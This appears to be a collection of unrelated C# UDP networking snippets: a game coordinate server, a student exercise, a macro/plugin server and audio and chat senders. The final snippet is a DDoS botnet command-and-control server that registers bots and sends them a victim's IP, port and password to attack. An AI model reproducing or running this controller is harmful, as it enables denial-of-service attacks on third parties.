private void UdpListener() { string data = ""; while (true) { try { receiveBytes = udpServer.Receive(ref ipEndPoint); data = Encoding.ASCII.GetString(receiveBytes); Packet packet = Packet.Populate(data); switch (packet.PacketType) { case PacketType.Coordinates: string[] contentParts = packet.Content.Split('|'); var foundPlayers = from p in Participants where p.Nickname == contentParts[0] select p; if (foundPlayers != null && foundPlayers.Count() == 1) { if (!Settings.FreezeAllPlayersEnabled) { ServerParticipant foundPlayer = foundPlayers.First(); foundPlayer.X = float.Parse(contentParts[1]); foundPlayer.Y = float.Parse(contentParts[2]); foundPlayer.Z = float.Parse(contentParts[3]); foundPlayer.SpeedX = float.Parse(contentParts[4]); foundPlayer.SpeedY = float.Parse(contentParts[5]); foundPlayer.SpeedZ = float.Parse(contentParts[6]); foundPlayer.VectorX1 = float.Parse(contentParts[7]); foundPlayer.VectorY1 = float.Parse(contentParts[8]); foundPlayer.VectorZ1 = float.Parse(contentParts[9]); foundPlayer.VectorX2 = float.Parse(contentParts[10]); foundPlayer.VectorY2 = float.Parse(contentParts[11]); foundPlayer.VectorZ2 = float.Parse(contentParts[12]); foundPlayer.LastActivity = DateTime.Now; } string stringToSend = PacketType.Coordinates + "|" + Settings.Serialize(); foreach (ServerParticipant player in participants) { stringToSend += "|" + player.Nickname + ";" + player.X + ";" + player.Y + ";" + player.Z + ";" + player.SpeedX + ";" + player.SpeedY + ";" + player.SpeedZ + ";" + player.VectorX1 + ";" + player.VectorY1 + ";" + player.VectorZ1 + ";" + player.VectorX2 + ";" + player.VectorY2 + ";" + player.VectorZ2 + ";" + player.PowerUpType + ";" + player.PowerUpWhiteBricks; } sendBytes = Encoding.ASCII.GetBytes(stringToSend); udpServer.Send(sendBytes, sendBytes.GetLength(0), ipEndPoint); } break; } } catch (SocketException exc) { if (exc.ErrorCode == 10054) { // Participant closed the Client - no action is required as the Server will clean it up automatically } } catch (Exception exc) { Console.WriteLine(exc.Message); } //Console.WriteLine("Handling client at " + ipEndPoint + " - "); //Console.WriteLine("Message Received " + data.TrimEnd()); //server.Send(receivedBytes, receivedBytes.Length, remoteIPEndPoint); //Console.WriteLine("Message Echoed to" + remoteIPEndPoint + data); } }
static void Main(string[] args) { UdpClient server = new UdpClient(9050); List <IPEndPoint> listclient = new List <IPEndPoint>(); List <int[]> listso = new List <int[]>(); List <int> listsoluong = new List <int>(); IPEndPoint client = new IPEndPoint(IPAddress.Any, 0); while (true) { byte[] data1 = new byte[10]; data1 = server.Receive(ref client); string so = Encoding.ASCII.GetString(data1, 0, data1.Length); string[] cutnumber = so.Split('_'); int a = int.Parse(cutnumber[0]); int i; for (i = 0; i < listclient.Count; i++) { if (client.Equals(listclient.ElementAt(i))) { if (listsoluong.ElementAt(i) < 3) { if (cutnumber[1] == "1") { listso[i][0] = a; } if (cutnumber[1] == "2") { listso[i][1] = a; } if (cutnumber[1] == "3") { listso[i][2] = a; } listsoluong[i]++; if (listsoluong[i] != 3) { break; } } if (listsoluong.ElementAt(i) == 3) { string menu = "1.Tong ba so,2.Cac so le co trong ba so,3.Thoat"; byte[] data = new byte[10]; data = Encoding.ASCII.GetBytes(menu); server.Send(data, data.Length, listclient.ElementAt(i)); listsoluong[i]++; break; } if (listsoluong.ElementAt(i) > 3) { if (a == 1) { int kq = listso[i][0] + listso[i][1] + listso[i][2]; byte[] data3 = new byte[10]; data3 = Encoding.ASCII.GetBytes(kq.ToString()); server.Send(data3, data3.Length, listclient.ElementAt(i)); break; } if (a == 2) { for (int j = 0; j < 3; j++) { int flag = 0; if (listso[i][j] % 2 != 0) { byte[] data4 = new byte[10]; data4 = Encoding.ASCII.GetBytes(flag.ToString()); server.Send(data4, data4.Length, listclient.ElementAt(i)); byte[] data3 = new byte[10]; data3 = Encoding.ASCII.GetBytes(listso[i][j].ToString()); server.Send(data3, data3.Length, listclient.ElementAt(i)); } if (j == 2) { flag = 1; byte[] data5 = new byte[10]; data5 = Encoding.ASCII.GetBytes(flag.ToString()); server.Send(data5, data5.Length, listclient.ElementAt(i)); break; } } } if (a == 3) { break; } break; } } } if (i == listclient.Count) { listclient.Add(client); listsoluong.Add(1); int[] arr = new int[3]; if (cutnumber[1] == "1") { arr[0] = a; listso.Add(arr); } if (cutnumber[1] == "2") { arr[1] = a; listso.Add(arr); } if (cutnumber[1] == "3") { arr[2] = a; listso.Add(arr); } } } }
private void SendBroadcastMessage(UdpClient client) { var buffer = Encoding.ASCII.GetBytes(ServerCode + ":" + ServerVersion); client.Send(buffer, buffer.Length, serverMulticastEndpoint); }
public static void Main(string[] args) { updateBaseDir(); Debug.WriteLine("baseDir = " + baseDir); Debug.WriteLine("extentionsDir = " + extentionsDir); Debug.WriteLine("imagesDir = " + imagesDir); Debug.WriteLine("soundDir = " + soundDir); isDebugF(); PluginLoadAll(); if (IsDebug == false) { Dictionary <string, object> plug = Server.Program.PluginGet("TrayIcon"); if (plug == null) { return; } try { Assembly asem = (Assembly)plug["assembly"]; Type t = (Type)plug["type"]; object instance = (object)plug["instance"]; MethodInfo m = t.GetMethod("HideConsole"); Debug.WriteLine("m.Invoke(instance, new object[] {});"); m.Invoke(instance, new object[] { }); } catch (Exception error) { } } AppDomain.CurrentDomain.ProcessExit += CurrentDomain_ProcessExit; listSocket = new List <JObject>(); exe = new Execute(); LoadRemoteParams(); watcher = new FileSystemWatcher(baseDir); watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite | NotifyFilters.FileName | NotifyFilters.DirectoryName; watcher.Filter = "*.json"; watcher.Changed += OnLoadRemoteParamsChanged; watcher.Created += OnLoadRemoteParamsChanged; //watcher.Deleted += OnLoadRemoteParamsChanged; watcher.Renamed += OnLoadRemoteParamsChanged; watcher.EnableRaisingEvents = true; try { Thread objThread = new Thread(TimerLoop); objThread.IsBackground = true; objThread.Priority = ThreadPriority.AboveNormal; objThread.Start(); } catch (ThreadStartException objException) { } catch (ThreadAbortException objException) { } catch (Exception objException) { } byte[] data = new byte[51200]; listhendPort = 25000; //listhendPort = FreeTcpPort(); IPEndPoint ipep = new IPEndPoint(IPAddress.Any, listhendPort); newsock = new UdpClient(ipep); Console.WriteLine("Waiting for a client..."); IPEndPoint sender = new IPEndPoint(IPAddress.Any, 0); while (unload == false) { try { data = newsock.Receive(ref sender); Console.WriteLine("Message received from {0}:", sender.ToString()); string text = Encoding.UTF8.GetString(data, 0, data.Length); try { Console.WriteLine(text); } catch (Exception error) { Console.WriteLine(Encoding.ASCII.GetString(data, 0, data.Length)); } try { JObject ob = JObject.Parse(text); string function = ""; try { function = ob.GetValue("function").Value <string>(); } catch (Exception error) { } string macro = null; try { macro = ob.GetValue("macro").Value <string>(); } catch (Exception error) { } if (function != "") { if (function == "Pong") { for (int i = 0; i < listSocket.Count; i++) { if (listSocket[i]["addr"].Value <string>() == sender.Address.ToString() && listSocket[i]["port"].Value <int>() == sender.Port) { listSocket[i]["last"] = (Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds; } } continue; } if (function == "GetInfo") { JObject sock = new JObject(); sock["addr"] = sender.Address.ToString(); sock["port"] = sender.Port; sock["last"] = (Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds; listSocket.Add(sock); data = Encoding.UTF8.GetBytes(GetInfo()); newsock.Send(data, data.Length, sender); } if (function == "GetGrids" || function == "ForceReload") { if (function == "ForceReload") { LoadRemoteParams(); } string gri = JsonConvert.SerializeObject(GridsList.GetValue("grids")); data = Encoding.UTF8.GetBytes("{\"function\":\"SendGrids\", \"grids\":" + gri + "}"); } if (function == "GetImage") { string filePath = imagesDir + ob["reference"].Value <string>(); if (File.Exists(filePath) == true) { using (Image image = Image.FromFile(filePath)) { using (MemoryStream m = new MemoryStream()) { image.Save(m, image.RawFormat); byte[] imageBytes = m.ToArray(); string base64String = Convert.ToBase64String(imageBytes); data = Encoding.UTF8.GetBytes("{\"function\":\"RetGetImage\", \"reference\":\"" + ob["reference"].Value <string>() + "\", \"result\":\"data:" + MimeTypesMap.GetMimeType(filePath) + ";base64," + base64String + "\"}"); } } } else { data = Encoding.UTF8.GetBytes("{\"function\":\"RetGetImage\", \"reference\":\"" + ob["reference"].Value <string>() + "\", \"result\":\"ERROR\"}"); } } if (function == "GetSoundInfo" || function == "MuteSound" || function == "VolUp" || function == "VolDown") { JToken tok = ob.Value <JToken>(); ParseSoundInfo(function, ref newsock, sender, tok); } newsock.Send(data, data.Length, sender); } if (macro != null) { string sound = null; try { sound = ob.GetValue("sound").Value <string>(); } catch (Exception error) { } MacrosProcessing.Run(exe, MacroList, macro, sound, newsock, sender); } } catch (Exception error) { Debug.WriteLine(JsonConvert.SerializeObject(error)); Debug.WriteLine(Encoding.UTF8.GetString(data, 0, data.Length)); } } catch (Exception error) { Debug.WriteLine(error.StackTrace); } } }
static void waveIn_DataAvailable(object sender, WaveInEventArgs e) { byte[] encoded = selectedCodec.Encode(e.Buffer, 0, e.BytesRecorded); udpSender.Send(encoded, encoded.Length); }
private void btnSend_Click(object sender, EventArgs e) { IPEndPoint local = new IPEndPoint(IPAddress.Parse(remoteIp.Text), int.Parse(remotePort.Text)); myUdpClient.Send(Encoding.UTF8.GetBytes(textMsg.Text), textMsg.Text.Length, local); }
private void Send(string message) { byte[] bytes = Encoding.UTF8.GetBytes(message); _udpServer.Send(bytes, bytes.Length, _remoteEndPoint); _packageIndex++; }
public void SendUDP(byte[] data, Player target) { udpClient.Send(data, data.Length, target.IpEndPoint); }
public static void Main(string[] args) { Console.WriteLine("Command and control server d_dos_fobia active"); UdpClient udpServer = new UdpClient(31337); Thread listenThread = new Thread(() => { while (true) { IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 31337); byte[] data = udpServer.Receive(ref remoteEP); // listen on port 31337 //Console.WriteLine(BitConverter.ToInt32(data, 0)); //Console.WriteLine("data " + remoteEP.ToString()); lock (ip_port_bots) ip_port_bots.Add(new IPEndPoint(remoteEP.Address, BitConverter.ToUInt16(data, 0))); DisplaySet(ip_port_bots); //udpServer.Send(new byte[] { 1 }, 1, remoteEP); // reply back } }); listenThread.Start(); while (true) { try { Console.WriteLine("ip?"); string ip_vic = Console.ReadLine(); Console.WriteLine("port?"); int port_vic = Int32.Parse(Console.ReadLine()); Console.WriteLine("password?"); string pass_vic = Console.ReadLine(); byte[] ip_vic_arr = IPAddress.Parse(ip_vic).GetAddressBytes(), //BitConverter.GetBytes((Int32)IPAddress.Parse(ip_vic).Address), port_vic_arr = BitConverter.GetBytes((Int16)port_vic), pass_vic_arr = Encoding.Default.GetBytes(pass_vic); string name = "d_dos_fobia"; int len = name.Length; for (int i = 0; i < 32 - len; i++) name = name + "\0"; byte[] name_vic_arr = Encoding.Default.GetBytes(name); byte[] to_send = Combine(ip_vic_arr, port_vic_arr, pass_vic_arr, name_vic_arr); Console.WriteLine("attacking victim on IP " + ip_vic + ", port " + port_vic + " with " + ip_port_bots.Count + " bots"); DisplaySet(ip_port_bots); try { lock (ip_port_bots) { foreach (IPEndPoint endPoint in ip_port_bots) { udpServer.Send(to_send, to_send.Length, endPoint); // reply back } } } catch (Exception e) { Console.WriteLine(e.Message); } } catch(Exception e) { Console.WriteLine("incorecct input " + e.Message); } } }